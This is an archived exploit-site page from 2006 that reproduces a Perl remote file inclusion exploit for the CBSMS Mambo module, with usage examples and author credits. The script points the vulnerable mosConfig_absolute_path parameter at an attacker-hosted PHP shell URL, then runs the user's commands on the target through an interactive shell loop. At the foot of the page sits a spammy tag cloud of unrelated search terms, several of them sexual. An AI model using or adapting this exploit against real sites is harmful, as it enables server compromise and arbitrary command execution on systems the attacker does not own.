about advertise contact
Search: Home Vulnerabilities Exploits News Articles RSS Feeds Archive

exploits , vulnerabilities , articles , CBSMS Mambo Module <= 1.0 ([mosConfig_absolute_path]) Remote File Inclusion Exploit




2006-07-17 CBSMS Mambo Module <= 1.0 ([mosConfig_absolute_path]) Remote File Inclusion Exploit
Rated as : Moderated Risk
#!/usr/bin/perl
############
# CBSMS Mambo Module <= 1.0 ([mosConfig_absolute_path]) Remote File
Include Exploit
# Exploit :hadihadi_zedehal_2006&a.nosrati
#
# example:#  perl CB.pl <host> <cmd-shell> <cmd>
#   perl CB.pl http://target.com/[PATCH]/ http://yorshell.com/cmd.php cmd
#
#
# securitydot.net
#
#
# greetz:hadi_aryaie2004&ahmad_virangar2004&mahtab_e66&all virangar
members
############
# Contact:  info@virangar.net hadihadi_zedehal_2006@yahoo.com
############
use LWP::UserAgent;
$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];
if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv) { usage(); }
head();
while() {
 print "[shell] \$";
 while(<STDIN>)      {
  $cmd=$_;
  chomp($cmd);
  if (!$cmd) {last;} 
  $xpl = LWP::UserAgent->new() or die;
  $req = HTTP::Request->new(GET
=>$Path.'mod_cbsms_messages.php?mosConfig_absolute_path='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or
die "\nCould Not connect\n";
  $res = $xpl->request($req);
  $return = $res->content;
  $return =~ tr/[\n]/[ê]/;
  if ($return =~/Error: HTTP request failed!/ ) {
   print "\nInvalid path for phpshell\n";
   exit;
  } elsif ($return =~/^<br.\/>.<b>Fatal.error/) {
   print "\nInvalid Command, error.\n\n";
  }
  if ($return =~ /(.*)/) {
   $finreturn = $1;
   $finreturn=~ tr/[ê]/[\n]/;
   print "\r\n$finreturn\n\r";
   last;
  } else {
   print "[shell] \$";
  }
 }
} last;
sub head()  {
 print
"\n=========================================================================================\r\n";
 print "  CBSMS Mambo Module <= 1.0 ([mosConfig_absolute_path])
Remote File Include Exploit\r\n";
 print
"===========================================================================================\r\n";
 }
 
sub usage() {
 head();
 print " Usage: perl CB.pl <host> <YOURSHELL>
<CMD>\r\n\n";
 print " <host> - Full Path :  http://target.com/[PATCH]/
\r\n";
 print " <YOURSHELL> - PhpShell :
http://YOURSHELL.COM/shell.PHP \r\n";
 print " <CMD> - YOUR COMMAND \r\n\r\n";
print
"============================================================================\r\n";
 print "                   coded by hadihadi_zedehal_2006&a.nosrati
\r\n";
 print "                    www.virangar.net*www.virangar.org
\r\n";
 print
"============================================================================\r\n";
 
exit();
 }
securitydot.net - 2006-07-17

Advertising

Copyright 2007, SecurityDot
Mon, 07 Dec 2009 11:28:24 +0000

Friends : milw0rm.com , secunia.com , securityfocus.com
GOOGLE
NEWS EXPLOITS VULNS
exploits , 0day exploits , newest exploits , vulnerabilities , newest vulnerabilities , 0day vulnerabilities , newest articles , linux articles , articles
nudephotoe videos ing kecool.lin TRISHA PHO xuechao1.w FILTER PIC SEXY.GIRLS ssl 2.8 PICHER www.dogsex FrontPage TEENSEX.CO namazu.cgi HM-Portal CMS is Fre download v Sexaction. www.51daoy noah Redaxo.htm www.jinleh TALBarCd.o www-98-com php-nuke+2 18262372.p news for C Apache 2. lo283l dating pissing bo arab girle trashasex TAG Baby sex.c www.femily Www.99bb.c volam cartoon fr www.cuxiao women Sexe www.lfhlmh freesex tv Sym www.sex oc www.ppman. hotclip oruspular WWW.PLAYWO mobilesex dcc explot